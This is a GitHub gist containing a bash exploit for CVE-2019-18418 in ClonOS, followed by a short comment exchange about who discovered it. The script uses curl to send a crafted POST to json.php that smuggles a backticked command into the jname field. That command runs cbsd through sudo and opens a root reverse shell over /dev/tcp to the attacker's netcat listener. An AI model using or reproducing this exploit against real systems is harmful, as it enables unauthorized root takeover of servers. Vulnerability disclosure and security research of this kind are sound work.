Skip to content

Instantly share code, notes, and snippets.

@bcoles
Last active November 4, 2019 13:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/372f71a17f363b6f337f683ed9f4faeb to your computer and use it in GitHub Desktop.
Save bcoles/372f71a17f363b6f337f683ed9f4faeb to your computer and use it in GitHub Desktop.
Trivial ClonOs remote root RCE exploit for CVE-2019-18418
#!/bin/bash
# clonos-root-rce
# Trivial ClonOs remote root RCE exploit for CVE-2019-18418 discovered by İbrahim Hakan Şeker
# Note: Start netcat listener on LHOST:LPORT first
RHOST="172.16.191.240"
LHOST="172.16.191.165"
LPORT=1337
curl "http://${RHOST}/json.php" -H "X-Requested-With: XMLHttpRequest" -d "mode=jailAdd&path=/&form_data[jname]=\`sudo /usr/local/bin/cbsd bash -c \"0<%26118-;exec 118<>/dev/tcp/${LHOST}/${LPORT};sh <%26118 >%26118 2>%26118\"\`"
@bcoles
Copy link
Author

bcoles commented Oct 27, 2019

clonos-root-rce.sh

clonos-bonus

@Andhrimnirr
Copy link

Andhrimnirr commented Nov 4, 2019

@bcoles This cve id belongs to me, could it be a mistake?

@bcoles
Copy link
Author

bcoles commented Nov 4, 2019

@Andhrimnirr added discovered by İbrahim Hakan Şeker

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment